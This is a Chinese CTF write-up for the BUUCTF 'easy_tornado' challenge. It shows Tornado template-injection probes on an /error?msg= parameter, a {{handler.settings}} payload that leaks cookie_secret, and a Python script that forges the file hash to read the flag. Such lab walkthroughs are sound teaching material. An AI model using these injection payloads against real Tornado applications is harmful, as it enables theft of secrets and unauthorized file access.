其他分享
首页 > 其他分享> > BUUCTF [护网杯 2018]easy_tornado

BUUCTF [护网杯 2018]easy_tornado

作者:互联网

BUUCTF [护网杯 2018]easy_tornado

首先第一个页面:

打开网页发现了三个链接,一个一个点开查看:

/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

了解tornado:

tornado是个python语言下的模板

根据url中的参数filename和filehash,我们可以大体明白解题方向便是通过验证访问/fllllllllllllag

并且通过hint.txt,我们可以知道我们需要获取cookie_secret来加密得到filehash

怎么样才能得到cookie_secret呢?

根据SSTI模板注入备忘录进行简单测试:

Tornado (Python):
{{7}}
${7*3}
{{7*7}}
{{"%'()*-/=[\]_|}}常见特殊符号

payload:

http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{7}}

当我们使用这条语句测试时,页面回显7

而当我们使用下面三条语句时,页面回显全都是ORZ,过滤了一堆常见符号

这里尝试一下能不能读取配置文件

payload:

http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{config}}

页面回显500:Internal Server Error

万不得已,下载源码

基本操作不行,于是将源码下载后全局搜索cookie_secret

我们可以看到cookie_secret是handler.application.settings的键值

但是我们直接搜索handler.application.settings我们找不到任何东西,所以这里我们寻找handler

找到了一点线索,这里先将RequestHandler类型赋值为self并且赋值给handler,RequestHandler和handler是紧密相关的。

于是我翻开了RequestHandler的声明,里面有句话

  """An alias for `self.application.settings <Application.settings>`."""

原来如此,那这样便可以用handler.settings来访问cookie_secret

payload:

http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{handler.settings}}

最后的md5加密:

filename: /fllllllllllllag

cookie_secret: 78115b4c-fc01-435c-98dd-3e86ed49221b

这里可以直接手工用hackbar加密得到结果,也可以使用如下的脚本进行加密

# _*_coding:utf-8_*_
import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="78115b4c-fc01-435c-98dd-3e86ed49221b"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

最终的payload:

http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=bb3ba30eef4971be678e7acb48661755

得到flag:

标签:BUUCTF,hash,settings,tornado,filename,secret,handler,cookie,护网杯
来源: https://www.cnblogs.com/merk11/p/15509426.html